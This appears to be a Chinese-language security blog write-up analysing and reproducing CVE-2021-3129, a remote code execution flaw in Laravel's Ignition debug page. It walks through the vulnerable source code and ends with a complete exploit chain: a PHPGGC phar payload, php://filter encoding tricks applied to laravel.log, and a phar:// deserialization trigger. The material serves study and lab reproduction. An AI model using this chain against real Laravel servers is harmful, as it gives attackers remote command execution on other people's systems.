复现环境
PHP版本:7.4.15
Laravel版本:8.4.2
Ignition版本:2.5.1
如果环境不好寻找可以直接使用vulhub提供的复现环境:docker pull vulhub/laravel:8.4.2 && docker run -itd -p 80:80 vulhub/laravel:8.4.2
简要分析
Laravel是一个由Taylor Otwell所创建,免费的开源 PHP Web 框架。在开发模式下,Laravel使用了Ignition提供的错误页面,在Ignition 2.5.1及之前的版本中,有类似这样的代码:
$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);
攻击者可以通过phar://
协议来执行Phar反序列化操作,进而执行任意代码。
代码审计
首先定位到漏洞的直接利用点——可以调用含漏洞类MakeViewVariableOptionalSolution
的solution控制器中,在vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php
中读到:
<?php
namespace FacadeIgnitionHttpControllers;
use FacadeIgnitionHttpRequestsExecuteSolutionRequest;
use FacadeIgnitionContractsSolutionProviderRepository;
use IlluminateFoundationValidationValidatesRequests;
class ExecuteSolutionController
{
use ValidatesRequests;
public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();
$solution->run($request->get('parameters', []));
return response('');
}
}
这里有一个__invoke
魔术方法,并且会将get('parameters', [])
获得的参数值传递进run()
方法中,之后再跟进run()
方法。
可以在vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
65行附近看到关于run()
的定义:
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
可以看到这里存在一个file_put_contents()
函数,调用该函数的前提是$output !== false
,同时写入内容也是$output
,而$output
的值又受makeOptional()
方法的控制,跟进该方法,在同文件73行可以找到:
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
//先替换$variableName为$variableName ?? '',再写入文件
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}
protected function generateExpectedTokens(array $originalTokens, string $variableName): array
{
$expectedTokens = [];
foreach ($originalTokens as $token) {
$expectedTokens[] = $token;
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
}
}
return $expectedTokens;
}
重点在于
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
这行代码含义为:先替换$variableName为$variableName ?? '',再将传递的内容写入文件,如果写入过程没有出现异常(参考generateExpectedTokens()
中的$expectedTokens
变量),文件内容将被覆盖为新的内容(覆盖是由于file_put_contents()
的写入性质),否则makeOptional()
将返回False
,并且不会写入文件。
同时可以注意到,我们在这里通过传参可控的变量有viewFile
与variableName
,对这里的两个参数最终用途进行简化,我们可以看到两个参数的最终作用效果如下:
$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);
但是实际上这里相当于将$parameters['viewFile']
的值又一次写入了$parameters['viewFile']
,看上去并没有任何作用。
这个时候就引出了我很感兴趣的一种利用方式:利用框架本身的log日志文件(/storage/logs/laravel.log
)来触发Phar反序列化,从而使这两行代码存在了利用的价值。
先决条件在于这里的file_get_contents()
可以触发phar反序列化,同时file_put_contents()
的写入功能确保了可以写入phar包内容来进行反序列化,进而达到RCE的目的。
因而我们可以通过寻找Laravel中可以用于执行命令的pop链来实现RCE,通过PHPGGC我们可以找到框架中可以RCE的类:
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output
但是仅此仍然不够,log文件写入时会拼接如时间、路径等多余的字符串,像是这样:
[2021-01-14 04:32:43] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\Foundation\Bootstrap\HandleExceptions->handleError(2, 'file_get_conten...', '/Applications/M...', 75, Array)
#1 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')
#2 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\Ignition\Solutions\MakeViewVariableOptionalSolution->makeOptional(Array)
#3 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\Ignition\Solutions\MakeViewVariableOptionalSolution->run(Array)
#4 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\Ignition\Http\Controllers\ExecuteSolutionController->__invoke(Object(Facade\Ignition\Http\Requests\ExecuteSolutionRequest), Object(Facade\Ignition\SolutionProviders\SolutionProviderRepository))
#5 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(254): Illuminate\Routing\ControllerDispatcher->dispatch(Object(Illuminate\Routing\Route), Object(Facade\Ignition\Http\Controllers\ExecuteSolutionController), '__invoke')
#6 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(197): Illuminate\Routing\Route->runController()
...
#34 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\Foundation\Http\Kernel->sendRequestThroughRouter(Object(Illuminate\Http\Request))
#35 /Applications/MxSrvs/www/laravel/public/index.php(52): Illuminate\Foundation\Http\Kernel->handle(Object(Illuminate\Http\Request))
#36 /Applications/MxSrvs/www/laravel/server.php(21): require_once('/Applications/M...')
#37 {main}
"}
而Phar包是二进制文件,对其文件格式有着严格的要求,直接写入并包含log日志会导致phar包格式非法,从而无法触发反序列化。
漏洞作者提出了利用php://filter
协议的过滤器来对文件内容进行编码,利用编码非法字符导致返回空值的特性来清除掉非法字符。
首先受启于P牛的谈一谈php://filter的妙用,我们可以多次convert.base64-decode
编码来清除掉多余字符,得益于convert.base64-decode
过滤器会将一些非base64字符给过滤掉后再进行 decode
。
但是用在此处的弊端也显而易见,首先我们不清楚清除所有多余字符需要编码的次数,不同于绕过死亡exit时只需将exit部分代码解码为乱码,在这里我们的利用条件是需要清除字符,其次如果使用base64-decode
过滤器过滤中间包含=
的字符串,PHP 将产生错误并且不返回任何内容。
因而我们需要转向使用其他的过滤器来进行编码解码,这里作者提出使用convert.iconv.utf-8.utf-16be
来将UTF-8的编码转换为UTF-16编码,从而使文件的原内容出现乱码,同时这里也会带来一个新的问题——出现空字节内容,使file_get_contents()
抛出一个Warning,不过我们可以再使用convert.quoted-printable-decode
过滤器来解码不可见字符,只需要我们使用=00
来表示空字节内容再次传入即可。
因而我们可以构造出清空并写入Payload的exp:
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=FILE
前面两个过滤器用于写入和产生非法字符,而base64过滤器再清除掉非法字符,而我们只需要对Payload内容进行对应的编码即可完成写入。
漏洞利用
1.创建一个 PHPGGC 负载并对其进行编码:
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./ =00/g'
2.清空日志内容:
POST发送
viewFile: php://filter/read=consumed/resource=/path/to/storage/logs/laravel.log
3.创建第一条日志内容,用于编码对齐:
viewFile: AA
4.创建Payload写入日志:
palyoad为第一步获取到的内容
viewFile: <PAYLOAD>
5.使用过滤器将日志转换为有效的Phar包:
清空其余字符并将payload解码为原内容,注意log日志路径可能需要修改
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=./storage/logs/laravel.log
6.触发Phar反序列化:
viewFile: phar://./storage/logs/laravel.log
至此便完成了一次Phar反序列化到RCE的攻击过程,其中的许多思路都值得借鉴学习。
参考链接
Laravel <= v8.4.2 debug mode: Remote code execution
Laravel Debug页面RCE(CVE-2021-3129)分析复现